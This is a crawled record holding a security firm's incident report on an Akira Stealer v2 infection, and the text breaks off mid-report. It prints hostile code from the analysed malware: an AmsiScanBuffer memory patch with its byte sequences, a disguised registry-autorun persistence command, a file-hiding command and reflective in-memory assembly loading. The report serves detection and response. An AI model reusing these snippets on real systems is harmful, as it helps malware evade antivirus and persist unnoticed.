{
	"id": "7d3558c8-edb7-4146-9be6-9cc32c2fd874",
	"created_at": "2026-04-06T00:16:54.434106Z",
	"updated_at": "2026-04-10T03:37:08.93648Z",
	"deleted_at": null,
	"sha1_hash": "d364aa9006e9c142e07520d3afac7a2f3ff54adb",
	"title": "Akira Stealer: Technical Analysis of a Modular Info-Stealing Malware",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3201206,
	"plain_text": "Akira Stealer: Technical Analysis of a Modular Info-Stealing Malware\r\nPublished: 2025-06-16 · Archived: 2026-04-05 21:46:28 UTC\r\nIt started with a single Defender alert in Microsoft 365. No malware, no signatures, no panic. Just a whisper in the noise.\r\nWhat we uncovered was months of credential theft - surgical, silent, and nearly invisible. This is how our CSOC turned a\r\nquiet signal into a full-scale response. And gave our client back control before they even knew it was gone.\r\nPrologue\r\nIt started like so many modern attacks do: quietly. A low-confidence Defender alert — \"Suspicious sequence of\r\nexploration activities\" — surfaced during onboarding phase of a new customer into our glueckkanja Cyber Security\r\nOperations Center (CSOC).\r\nThere were no signature hits. No malware classifications. No real-time protection response. Just a single behavioral\r\ncorrelation in Microsoft 365 Defender, buried in the noise — and yet, unmistakably wrong.\r\nWhile triaging the alert, one specific action caught my attention: python.exe had accessed both the Login Data and\r\nWeb Data files inside a Chromium profile. Microsoft Defender immediately escalated this to a high-severity incident —\r\n\"Possible theft of passwords and other sensitive web browser information.\"\r\nThis wasn’t a false positive. It was the tip of something deeper.\r\nTracing the telemetry backwards, I uncovered a generic startup-located binary — Updater.exe — which spawned a\r\nNodeJS-based wrapper ( main.exe ) that executed a command line to run a script named astor.py via python.exe .\r\nUpdater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\r\nThe script didn’t just scrape credentials — it executed a sequence of post-compromise reconnaissance steps, including\r\nregistry queries, system fingerprinting, and privilege-aware enumeration. It operated with surgical precision, mimicking\r\nnative system behavior to evade detection. And it worked — almost.\r\nAt the time of first response:\r\nUpdater.exe was flagged by only 1 out of 69 engines on VirusTotal.\r\nmain.exe , astor.py , and all associated components were not really flagged on VirusTotal.\r\nNo files were signed. No elevated context. Just \"ordinary\" processes doing very non-ordinary things.\r\nUpdater.exe didn’t touch credentials. That task was reserved for astor.py , the in-memory Python payload — a file\r\nthat, by design, left almost no trace.\r\nWithin 21 minutes, the affected system was isolated from the network. Within 70 minutes, credentials were rotated across\r\nall affected scopes: internal identities, SaaS platforms, third-party services.\r\nBut the real turning point came when we extracted and fully decrypted the Python payload. What we found was not a\r\ngeneric stealer — it was a custom deployment of Akira Stealer v2, a commercially distributed malware family sold via\r\nTelegram.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 1 of 72\n\nThanks to our in-house threat intelligence and reverse engineering capabilities, we were able to reconstruct the full\r\nfunctionality of the malware, extract all embedded indicators, and understand its staging, exfiltration, and credential\r\ntargeting logic in detail.\r\nMore importantly — we didn’t stop at technical attribution. We went further.\r\nWe were able to provide the client with a complete dataset of exfiltrated credentials: over 100 unique username-password combinations, including access credentials to cloud services, CRM systems, internal platforms, and even\r\npersonal tools used by key employees. The theft had been ongoing for months — and we could account for all of it.\r\nUsing insights gained from this case, we built a post-infection analysis tool that scans affected systems, reconstructs\r\ncredential access patterns, and generates detailed forensic reports — mapping exactly what was stolen, when, and from\r\nwhere.\r\nWe’ll share a glimpse of that scanner at the end of this report.\r\nBecause this is more than just an incident. This is how we investigate. This is how we protect.\r\nWelcome to the glueckkanja CSOC.\r\nThis is how we work — because breaches don't wait.\r\n1. Initial Event and Triage Summary\r\nOn March 31, 2025, Microsoft Defender for Endpoint generated an alert labeled \"Suspicious sequence of exploration\r\nactivities\" on a Windows 10 64-bit endpoint. I began the triage based on this signal and reviewed the affected system\r\nusing the process tree, system timeline, and evidence correlated by Defender.\r\n1.1 Timeline-Based Triage\r\nThe alert pointed to a sequence of processes that warranted further inspection. During initial review, I observed the\r\nfollowing access patterns to Chrome browser data within the local user profile:\r\n%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\r\n%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data\r\nThese accesses were initiated by a process named Updater.exe . While Microsoft Defender had not flagged the binary\r\nbased on heuristic or behavioral analysis, I found a detection for Updater.exe on VirusTotal — flagged by a single\r\nengine at that point in time.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 2 of 72\n\nThe full observed execution chain was as follows:\r\nwinlogon.exe\r\n└── userinit.exe\r\n └── explorer.exe\r\n └── Updater.exe\r\n └── main.exe\r\n └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\r\n └── python.exe Crypto\\Util\\astor.py\r\nAt this stage, no deeper static or dynamic analysis of the involved files had been performed. My focus was on\r\nunderstanding the high-level behavior and context. The process names and file paths were generic, and no suspicious\r\ncommand-line arguments were present beyond the chained Python execution.\r\n1.2 Initial Response\r\nWithin 21 minutes of the initial alert, I initiated host isolation using Defender for Endpoint’s isolation features. The goal\r\nwas to prevent potential further spread or exfiltration.\r\nWithin the first 70 minutes, we proceeded to rotate credentials that were known to be used on the affected host —\r\ncovering internal systems, SaaS platforms, and critical third-party vendors.\r\nThe reverse engineering process began after the first containment. The following sections document the technical deep\r\ndive that followed to investigate the breach.\r\n1.3 Response Summary – Fast, Transparent, Impact-Driven\r\nOur response combined speed, expertise, and operational excellence—backed by proven workflows and full visibility for\r\nthe customer.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 3 of 72\n\nDetection to full containment in under 90 minutes Defender alerts, network isolation, antivirus scan, and\r\ncredential revocation executed rapidly and in concert.\r\nDeep-dive forensic response within 48 hours Including full disk and memory analysis, browser artifact review,\r\ncredential dumping detection, and behavioral reconstruction of attacker activity.\r\nSecure data recovery \u0026 evidence handling The stolen data—including cookies, passwords, tokens, and browser\r\nprofiles—was recovered, forensically archived, and handed off securely to the customer.\r\nEnd-to-end visibility and communication Every step—from first alert to remediation and debrief—was fully\r\ndocumented, shared in real time, and summarized in a structured CSIRT handover.\r\nThis incident showcases how glueckkanja CSOC doesn’t just stop malware—we dismantle its effects, restore\r\ncontrol to our customers, and turn every incident into insight.\r\n2. Malware Architecture and Execution Chain Overview\r\nThe malware observed on the affected endpoint followed a structured, multi-stage architecture with clear separation of\r\nresponsibilities: deployment, decoding, execution, and data exfiltration.\r\n2.1 Execution Chain Overview\r\nThe observed execution flow was as follows:\r\nUpdater.exe\r\n └── main.exe\r\n └── cmd.exe\r\n └── python.exe astor.py\r\nEach component in the chain contributed to stealth, modularity, and evasion. The architecture leveraged legitimate\r\nruntimes and standard OS interpreters to bypass detection mechanisms.\r\n2.1.1 Origin Uncertainty: Missing Initial Vector\r\nDespite extensive analysis of the post-compromise environment, the initial access vector could not be conclusively\r\ndetermined. This uncertainty stems primarily from the fact that the malware had remained active for an estimated six\r\nmonths prior to detection — exceeding the log retention period enforced by Microsoft Defender for Endpoint.\r\nAs a result, no telemetry or forensic artifacts were available from the original time of infection. No initial process creation\r\nevents, file drops, or command-line entries related to the delivery stage were recoverable from Defender’s timeline or\r\nassociated sensors.\r\nBased on contextual indicators and OSINT sources, a likely infection vector may have involved:\r\nTrojanized installers of cracked or modded gaming software\r\nFake utilities or \"performance boosters\" distributed via forums and third-party sites\r\nMalicious browser extensions targeting specific user interests (e.g., crypto-related tools or Discord enhancements)\r\nHowever, these remain speculative.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 4 of 72\n\nNo confirmed dropper, phishing email, or compromised website could be identified during the investigation. While the\r\nmalware architecture and execution chain were fully reconstructed, the initial point of compromise (MITRE ATT\u0026CK\r\nT1190 / T1566) could not be validated.\r\n2.1.2 Updater.exe – Initial Loader\r\nWhen reviewing the process tree in Microsoft 365 Defender, Updater.exe stood out immediately — not because of what\r\nit did, but because of how silently it embedded itself into the system’s execution flow.\r\nThis binary was registered for automatic execution via the standard Windows Run key:\r\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\r\nThat meant it would launch every time the user logged into their session — a classic persistence mechanism that requires\r\nno elevated privileges and often slips through unnoticed in EDR telemetry.\r\nFile Type: Windows PE executable (32-bit)\r\nSignature: Unsigned\r\nVirusTotal Detection: 1 out of 69 engines at the time of triage\r\nExecution Context: Medium integrity, user session\r\nLocation: AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\r\nThe file itself was small, cleanly compiled, and unremarkable from a static analysis standpoint. No suspicious strings, no\r\nencrypted sections, and no indicators of obfuscation or packing. It imported only a minimal set of standard Windows API\r\nfunctions and contained no embedded payload.\r\nHowever, its behavior was more telling. Once launched, Updater.exe extracted an Electron application from a bundled\r\narchive — a self-contained NodeJS runtime packaged using standard Electron tooling. This unpacked folder contained an\r\nexecutable named main.exe , which was subsequently launched as a child process.\r\nUpdater.exe → main.exe\r\nThere were no network indicators at this stage, no process injection, and no anomaly in privileges or token elevation. The\r\nentire role of Updater.exe appeared to be that of a loader — delivering a second-stage component ( main.exe ) into the\r\nenvironment, likely with the goal of maintaining stealth and modularity.\r\nThis kind of architectural separation is common in modern commodity malware and stealer toolkits. The initial loader acts\r\nmerely as a deployment stub, allowing the heavier logic — often obfuscated, interpreted, or dynamically generated — to\r\nbe contained in later stages.\r\nIn this case, Updater.exe served precisely that purpose: a quiet initial foothold designed to blend in, remain undetected,\r\nand pave the way for the execution of the actual stealer logic in main.exe and eventually astor.py .\r\nIt didn’t touch the file system beyond its own directory and didn’t trigger any behavioral rules — and yet, it was the first\r\ndomino in a long and carefully constructed attack chain.\r\n2.1.3 main.exe – Obfuscated NodeJS Payload Container\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 5 of 72\n\nFollowing the execution of Updater.exe , a second-stage binary named main.exe was launched. This component\r\npresented itself as a standard Electron application — a runtime environment bundling Node.js and Chromium, often used\r\nfor cross-platform desktop apps. Its innocuous nature is part of what makes it so dangerous in the wrong hands.\r\nUpon inspection, main.exe contained an internal archive named app.asar — the standard packaging format for\r\nElectron-based applications. Unlike legitimate Electron apps, however, the contents of this archive were anything but\r\nordinary.\r\nPlatform: Electron (Node.js + Chromium)\r\nArchitecture: 64-bit Windows\r\nContent Structure: Embedded JavaScript files within app.asar\r\nObfuscation Level: High — achieved through js-confuser , a commercially available obfuscation toolkit for\r\nJavaScript\r\nOnce decompiled and deobfuscated, the core logic of main.exe became evident. Its purpose was not to present a GUI or\r\nexecute any frontend logic — instead, it acted as a hidden execution orchestrator.\r\nObserved Behavior:\r\nDecrypts and reconstructs a Base64-encoded PowerShell command stored within the JavaScript payload\r\nSpawns cmd.exe to execute the PowerShell command inline\r\nThe PowerShell command in turn invokes python.exe , passing in a script located under a seemingly benign\r\ndirectory structure ( Crypto\\Util\\astor.py )\r\nmain.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\r\nThis chaining allowed the attacker to shift execution contexts and evade straightforward detection. Because the payload\r\nwas obfuscated and staged in-memory, traditional signature-based controls were ineffective.\r\nThe Electron framework provided an ideal cover — allowing execution of arbitrary JavaScript while avoiding scrutiny.\r\nJavaScript-based execution also introduced cross-platform compatibility, allowing for flexible deployment and easier\r\nintegration of dynamic control logic.\r\nWhat made main.exe particularly dangerous was its ability to operate without dropping any additional files beyond what\r\nhad already been staged. The stealer script was invoked directly from disk, but all staging and execution logic remained\r\nembedded within the Electron bundle.\r\nIn summary, main.exe served as the obfuscated, multi-layered execution core — acting as the gatekeeper between initial\r\npersistence and the full activation of the Akira Stealer payload in astor.py .\r\n2.1.4 cmd.exe \u0026 PowerShell Relay\r\nThis stage of the execution chain functioned as a relay — not for payload logic, but for obfuscation and indirection.\r\nAfter main.exe completed its role of unpacking and decoding the payload, it spawned a cmd.exe process. This process\r\ndid not contain any malicious logic itself, nor did it write or modify files. Its sole purpose was to serve as a wrapper for\r\nlaunching a PowerShell session with an encoded command.\r\nThis method is a well-known tactic used to reduce visibility and avoid detection:\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 6 of 72\n\nExecution Chain:\r\nmain.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003cBase64Payload\u003e\"\r\nPurpose:\r\nEncapsulates PowerShell execution within an additional shell\r\nHides the actual PowerShell code from direct visibility in logs\r\nEvades EDRs that trigger on direct powershell.exe usage with suspicious parameters\r\nBy embedding the PowerShell script as a Base64-encoded string and invoking it through cmd.exe , the attacker avoided\r\nmultiple forms of detection:\r\nCommand-line heuristic filters\r\nStandard logging (e.g., Event ID 4104, 4688)\r\nRule-based detections for powershell.exe arguments like -NoProfile , -ExecutionPolicy Bypass , or inline\r\nscripts\r\nNotably, the PowerShell command was kept minimal and solely focused on launching python.exe with a path to the\r\nembedded stealer script — astor.py . No additional modules were loaded, and no obvious signatures were present in\r\nmemory.\r\nThis relay technique is often used in red teaming and by sophisticated infostealers alike — serving as a lightweight evasion\r\nlayer that’s easy to implement but hard to catch without telemetry correlation.\r\nIn this case, cmd.exe served exactly that purpose: a simple, silent bridge between JavaScript logic and Python execution\r\n— one that almost slipped through unnoticed.\r\n2.1.5 python.exe with astor.py\r\nThe final and most impactful stage of the execution chain was reached when python.exe invoked astor.py — a\r\nPython-based, modular infostealer operating entirely in memory. This script represented the operational core of the entire\r\nattack chain.\r\nUnlike many commodity stealers, astor.py was not deployed in plaintext. It was protected by a multi-layered decryption\r\nmechanism:\r\nDecryption Stack: The file was first GZIP-compressed and then encrypted using AES-256-CBC.\r\nKey Derivation: A PBKDF2-based key derivation process was used (SHA-512, 1,000,000 iterations), making static\r\nanalysis and brute-forcing highly impractical.\r\nOnce decrypted at runtime, the script executed several specialized modules, all targeting sensitive data sources:\r\nCore Capabilities\r\nBrowser Data Extraction: Retrieved login credentials, cookies, and autofill data from Chromium-based browsers\r\n(Chrome, Edge, Brave, Opera)\r\nToken Harvesting: Collected session tokens, particularly from Discord, and scanned for cryptocurrency wallet\r\nextensions\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 7 of 72\n\nData Packaging: Aggregated all harvested data into a structured ZIP archive, preserving directory and file context\r\nfor attacker-side parsing\r\nExfiltration: Uploaded the resulting archive to public APIs and infrastructure.\r\nExecution Context\r\nThe entire stealer logic executed from memory, with no persistent files written to disk. It left minimal telemetry traces\r\nbeyond in-process memory artifacts and standard subprocess invocation. No attempt was made to establish persistence at\r\nthis stage — the goal was quick, efficient, and silent data theft.\r\nThe use of legitimate APIs for exfiltration also made detection and prevention significantly harder, as outbound traffic\r\nblended in with routine internet activity.\r\nThis stage ultimately confirmed the malware’s identity: a variant of Akira Stealer v2, known for its:\r\nHigh modularity\r\nRuntime obfuscation\r\nCommercial distribution via Telegram\r\nStrong focus on credential harvesting and token-based session hijacking\r\nTogether with the earlier stages, astor.py formed the critical endpoint of a stealthy and well-engineered infostealer\r\nchain. In the following sections, we dissect this component further and explain how we reversed its logic, mapped its\r\ninfrastructure, and recovered every indicator of compromise used during its operation.\r\n3. Deep Dive: Updater.exe\r\nUpdater.exe was the initial binary observed during post-compromise analysis. Despite its neutral appearance and\r\nnegligible detection footprint, it played a critical role in maintaining the malware's operational persistence and delivering\r\nthe next-stage payload.\r\n3.1 Properties\r\nProperty Value\r\nFormat: Windows Portable Executable (PE32)\r\nArchitecture: x86-64\r\nSize: ~154 KB\r\nEntropy: Normal (non-packed)\r\nSignatures: None\r\nVirusTotal Detection: 1/69 at time of analysis\r\nThe file exhibited a clean import table and no embedded string indicators. No known packers, crypters, or runtime\r\nobfuscation mechanisms were detected. The structure was consistent with custom-compiled binaries.\r\n3.2 Behavioral Analysis\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 8 of 72\n\nNo User Interaction Required\r\nThe malware chain executed without any required user interaction. Based on Defender’s process telemetry, the initial\r\nbinary ( Updater.exe ) was launched automatically — most likely via a persistence mechanism such as a registry autorun\r\nkey. However, due to the age of the compromise and the absence of historical event logs, the exact method of persistence\r\ncould not be recovered.\r\nSilent Execution and Staging\r\nUpon execution, Updater.exe immediately launched main.exe with no visual window and no user prompts. The\r\nstaging occurred silently in the background. There was no evidence of user consent dialogs, UAC prompts, or GUI\r\ncomponents.\r\nPayload Deployment Behavior\r\nmain.exe was found to be part of an Electron application structure, but the exact origin of its deployment remains\r\nunclear. One of the following is assumed:\r\nThe payload may have been bundled internally within Updater.exe (e.g., embedded resource), or\r\nIt may have been retrieved from a remote source\r\nDue to a lack of network telemetry and no recovered hardcoded URL, the delivery vector for the Electron app remains\r\ninconclusive.\r\nProcess Chain Behavior\r\nOnce executed, Updater.exe spawned main.exe as a child process. The invocation was non-interactive, and no process\r\nspawned from the chain exhibited UI activity. The process chain continued as expected:\r\nUpdater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\r\nAll execution stages operated without requiring user input, relying solely on pre-configured launch logic and silent\r\nexecution paths. This minimized exposure and helped the malware remain undetected over an extended period.\r\n3.3 Role in the Infection Chain\r\nUpdater.exe played a single but essential role within the broader infection chain: it was responsible for the persistence\r\nand redeployment of the stage-2 component — main.exe .\r\nConfirmed Characteristics\r\nIt did not contain or execute malicious logic directly\r\nIt did not perform any data exfiltration\r\nIt did not interact with browser credential stores or sensitive user data\r\nIts sole purpose was to silently launch main.exe during user login, using a registry autorun entry as the most likely\r\nmethod of persistence (though not directly recovered due to telemetry limitations).\r\nBy acting as an isolated first-stage loader, Updater.exe ensured that the actual stealer payload ( astor.py ) remained\r\nconcealed in deeper layers of execution. This separation of duties allowed the attackers to:\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 9 of 72\n\nAvoid correlation by static AV or sandbox systems\r\nSwap or update payloads without modifying the loader\r\nReduce behavioral signals at the entry point\r\nThis pattern is typical in malware-as-a-service (MaaS) operations, where delivery mechanisms are generic and payloads\r\nare modular or client-specific.\r\nIn this case, Updater.exe provided just enough logic to serve as a reliable and stealthy entry point — nothing more, but\r\nalso nothing less.\r\n3.4 Persistence via Registry (Confirmed in astor.py)\r\nStatic analysis of the Python payload revealed that Updater.exe is explicitly persisted using a registry autorun entry:\r\nRegistry Path: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\r\nValue Name: Realtek Audio\r\nPayload Path: %APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\r\nThe corresponding registry command is executed via PowerShell:\r\nreg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\r\nThis ensures the malware is launched at every user login. The file is also marked with hidden and system attributes to\r\nfurther evade detection:\r\nattrib +h +s \"Updater.exe\"\r\nThis persistence mechanism was embedded directly into the astor.py code, confirming that the final-stage stealer actively\r\nmaintains loader presence on disk and in the startup registry.\r\n3.5 Summary\r\nWhile Updater.exe was not inherently malicious in structure or content, its contextual behavior within the\r\nexecution chain confirmed its role as a malware loader.\r\nThis binary served as a clean, minimalistic first-stage launcher — avoiding detection by static analysis, AV engines, and\r\nbehavioral rules. Its design focused purely on stealth and operational support, not on executing malicious logic itself.\r\nHowever, its role extended beyond initial deployment. During reverse engineering of the astor.py payload, we identified\r\nlogic that actively checked for the presence of Updater.exe . This check was part of a broader health and self-healing\r\ncycle implemented within the stealer code — a mechanism designed to verify the integrity of the infection chain and\r\nrestore missing components if needed.\r\nThis means that Updater.exe was not only responsible for initiating the malware, but also formed part of its ongoing\r\nruntime validation. Without this stub, the malware could lose its ability to reinitialize in future sessions.\r\nKey Functions of Updater.exe :\r\nSeamless deployment of main.exe\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 10 of 72\n\nIndirect execution of astor.py\r\nDecoupling of loader and payload logic\r\nReferenced by the payload itself as part of operational health monitoring\r\nIn Section 5, we will detail the internal health-check routines of the stealer, including its self-healing behavior and integrity\r\nvalidation mechanisms.\r\nFor now, it is clear that Updater.exe served as both ignition and anchor point in this layered infostealer architecture.\r\nSometimes, the best reverse engineering results don’t come from deep binary disassembly — but from a bit of trickery and\r\npatience.\r\nWhile analyzing the infection in a controlled lab environment, we noticed something odd: Updater.exe was present and\r\nexecuting, but main.exe had vanished from the file system. That’s when we had an idea — what happens if we let the\r\nmalware repair itself?\r\nWe deliberately deleted main.exe from the infected environment while leaving Updater.exe untouched. And sure\r\nenough, after the next user session login, the loader sprang into action — not with a tantrum, but with a quiet attempt to\r\nrebuild its second stage.\r\nHere’s where it got interesting: Instead of directly recreating main.exe , Updater.exe first dropped a file named app-64.7z — a standard 7-Zip archive. This archive contained the full Electron application structure, including main.exe ,\r\nresources , and the app.asar payload with all embedded logic.\r\nWe had effectively forced the malware to hand us the source package.\r\nWith this 7z archive in hand, we were able to extract, decompress, and fully reverse the JavaScript-based orchestration\r\nlogic without even touching the original loader again. The archive structure matched the expected Electron app layout\r\nperfectly.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 11 of 72\n\nThis behavior strongly suggests that the attackers deliberately chose a modular and maintainable architecture, using\r\narchives as flexible payload containers. It also allowed them to swap or update payload components without recompiling\r\nthe loader binary.\r\nAnd in our case? It allowed us to outsmart their chain, intercept the drop, and walk away with the full package — like\r\nstealing the blueprints off the workbench while the builder wasn’t looking.\r\nLet’s just say: sometimes the best forensic tools are del , wait , and a little curiosity.\r\n4. Deep Dive: pow.bat\r\nIn the analyzed malware campaign, the component Invoke-SharpLoader acts as a custom, memory-resident .NET loader\r\nthat exhibits a highly modular and evasive execution flow. This section dissects its internal architecture, its anti-analysis\r\nstrategy via AMSI patching, and its role in facilitating the second stage payload.\r\n4.1 Binary Properties – SharpLoader Batch Wrapper\r\nBefore being executed to load the .NET payload in memory, the outer wrapper pow.bat shows the following\r\ncharacteristics based on static analysis:\r\nProperty Value\r\nFormat: DOS Batch File\r\nArchitecture: Script-based (not compiled binary)\r\nFile Size: 27.79 KB (28454 bytes)\r\nEntropy: Normal (plain ASCII text)\r\nMagic: DOS batch file, ASCII text\r\nDigital Signature: None detected\r\nVirusTotal Detection: 26 / 61 (at time of analysis)\r\nThreat Labels: trojan , downloader , powershell , agentb\r\nDespite being a simple .bat file, the script evades many static detections and relies heavily on living-off-the-land\r\ntechniques such as PowerShell to download and execute obfuscated and encrypted payloads.\r\n4.2 AMSI Bypass Technique (Class: gofor4msi )\r\nOne of the first defensive mechanisms bypassed by SharpLoader is AMSI — the Anti-Malware Scan Interface — a\r\nMicrosoft feature integrated into scripting engines like PowerShell and Windows Script Host to provide real-time content\r\nscanning for suspicious behavior. Malware authors often attempt to bypass AMSI to avoid detection by endpoint protection\r\nsystems.\r\nIn SharpLoader, the AMSI bypass is implemented through direct in-memory patching of the AmsiScanBuffer function\r\nwithin the amsi.dll . This function is normally responsible for analyzing script content and returning a result code\r\nindicating whether the content is suspicious ( AMSI_RESULT_DETECTED ) or safe ( AMSI_RESULT_CLEAN ).\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 12 of 72\n\nThe relevant in-memory patching code is:\r\nvar lib = Win32.LoadLibrary(\"amsi.dll\");\r\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\r\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\r\nMarshal.Copy(patch, 0, addr, patch.Length);\r\nThis sequence performs the following steps:\r\n1. Load the AMSI DLL into the process using LoadLibrary(\"amsi.dll\") .\r\n2. Resolve the memory address of the function AmsiScanBuffer via GetProcAddress() .\r\n3. Change the memory protection of the address using VirtualProtect() to make it writable.\r\n4. Overwrite the beginning of the function using Marshal.Copy() with a small shellcode patch.\r\nThe patch applied for 64-bit systems is:\r\nstatic byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\r\nThis corresponds to the following instructions:\r\nmov eax, 0x80070057 → sets the return code to the Windows error code E_INVALIDARG\r\nret → immediately returns from the function\r\nThis effectively causes AmsiScanBuffer to fail silently and return a non-detection result, neutralizing AMSI checks. The\r\nmalware can now execute scripts or .NET code that would otherwise trigger antivirus alerts.\r\nIf executed on a 32-bit system, a different patch is applied:\r\nstatic byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\r\nThis reflects the same goal — forcing a \"clean\" result — but adapted to the x86 calling convention.\r\nUsing raw P/Invoke calls like LoadLibrary , GetProcAddress , and VirtualProtect allows this patching to be done\r\ndynamically and without invoking any high-level APIs that might be monitored by EDR tools. This method is compact,\r\neffective, and leaves minimal forensic artifacts.\r\nIn summary, this AMSI bypass technique is a low-level, direct memory attack on the antivirus interface, carried out in\r\nmilliseconds during runtime. It's a powerful example of why behavioral monitoring and memory inspection are essential in\r\nmodern endpoint defense systems.\r\n4.3 Stage 2 Payload Handling\r\nAfter the AMSI bypass is complete, the loader proceeds to retrieve and prepare the second-stage payload. This payload is\r\nnot embedded in the loader itself but is fetched either from a remote server or read from disk — depending on how the\r\nloader is invoked via the $location parameter.\r\nIf the location begins with http , it is interpreted as a URL and the loader uses Get_Stage2() to download the payload\r\nvia HttpWebRequest . If it is a local path, Get_Stage2disk() reads the contents directly from the file system. In both\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 13 of 72\n\ncases, the expected file content is a Base64-encoded, GZip-compressed, and AES-encrypted blob.\r\nThe loader then performs a four-stage decoding and decryption pipeline entirely in memory:\r\n1. Base64 Decoding: Converts the encoded string into raw bytes. This step is designed to obscure the actual binary\r\ncontent from static inspection tools and prevents straightforward pattern matching.\r\n2. GZip Decompression: The decoded bytes are passed to a GZipStream , which decompresses the payload.\r\nCompression reduces file size and adds another layer of obfuscation.\r\n3. AES Decryption: The compressed bytes are decrypted using AES (Rijndael) in CBC mode. The key is derived at\r\nruntime from the user-provided password using SHA-256 hashing combined with PBKDF2\r\n( Rfc2898DeriveBytes ) and a static salt.\r\n4. Salt Removal: The decrypted result still contains a fixed-length salt prefix (4 bytes). These bytes are removed\r\nmanually to obtain the clean binary blob that represents a valid .NET assembly.\r\nThe decryption pipeline is executed like so:\r\nbyte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\r\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\r\nHere, AES_Decrypt() is a custom function that wraps the Rijndael algorithm, configured with a 256-bit key and a 128-bit\r\nIV (initialization vector), both derived from the password.\r\nKey Design Observations:\r\nThe use of AES-CBC with PBKDF2 makes brute-forcing the password non-trivial.\r\nSince decryption happens in memory, no intermediate results are ever written to disk — reducing forensic artifacts.\r\nIf the wrong password is supplied, decryption silently fails or produces invalid data, which may lead to failed\r\nexecution or hard-to-trace exceptions.\r\nIn summary, this multi-stage payload handling approach significantly raises the bar for both signature- and heuristic-based\r\nstatic detection. Without either live execution or deep inspection of the loader behavior, defenders are unlikely to uncover\r\nthe embedded payload without also knowing the password and exact decoding logic.\r\n4.4 Dynamic Assembly Loading\r\nOnce the second-stage payload has been successfully decrypted, the resulting byte array represents a valid .NET assembly.\r\nInstead of writing this assembly to disk — a common indicator for antivirus or EDR systems — SharpLoader executes it\r\ndirectly in memory using reflection:\r\nAssembly a = Assembly.Load(bin);\r\na.EntryPoint.Invoke(null, new object[] { commands });\r\nThis technique is referred to as fileless execution. It is highly evasive because it:\r\nAvoids touching the disk, leaving no file-based IOCs (indicators of compromise)\r\nMakes traditional forensic acquisition harder, as no binary is saved on disk\r\nEvades static signature-based detection, since AV engines often rely on scanning files\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 14 of 72\n\nIf the EntryPoint is not static , the loader includes a fallback logic:\r\nMethodInfo method = a.EntryPoint;\r\nif (method != null)\r\n{\r\n object o = a.CreateInstance(method.Name);\r\n method.Invoke(o, null);\r\n}\r\nThis ensures compatibility with assemblies that require an instantiated object for execution (e.g., public int Main()\r\ninside a class instance). The code dynamically creates an instance of the class and then calls the entry point method.\r\nCombined with the AMSI bypass and in-memory decryption, this mechanism delivers the final payload to execution in a\r\nstealthy, fully fileless manner — a hallmark of modern, evasive malware.\r\n4.5 Command Line Parameters and Flexibility\r\nThe PowerShell function Invoke-SharpLoader is designed to act as a flexible wrapper for arbitrary .NET payloads. It\r\nsupports dynamic input of both the payload location and arguments, allowing a single loader instance to be reused across\r\nmultiple operations or campaigns.\r\nSupported Parameters:\r\n-location (mandatory): Specifies either a URL or a local file path to the stage two encrypted payload.\r\n-password (mandatory): Used to derive the AES decryption key.\r\n-argument , -argument2 , -argument3 (optional): These are forwarded directly to the .NET assembly’s\r\nMain() method via reflection.\r\n-noArgs : Triggers execution without passing any parameters to the second-stage payload.\r\nInternally, the arguments are collected and forwarded like this:\r\nobject[] cmd = args.Skip(2).ToArray();\r\na.EntryPoint.Invoke(null, new object[] { cmd });\r\nThis means that the .NET payload is expected to have a signature like:\r\nstatic void Main(string[] args)\r\nor it will gracefully fall back to the parameterless Main() variant via fallback logic. This behavior allows red teams or\r\nmalware authors to create multi-purpose second stages that can perform different operations depending on the input — for\r\nexample, launching an implant, collecting system info, or initiating C2 communication.\r\nSuch modularity and configurability are key features of advanced malware frameworks, and they illustrate how script-based loaders can behave as highly adaptive execution environments for downstream payloads.\r\n4.6 Real-World Usage Example\r\nTo illustrate SharpLoader’s real-world execution in an actual campaign, consider the following invocation seen in the wild:\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 15 of 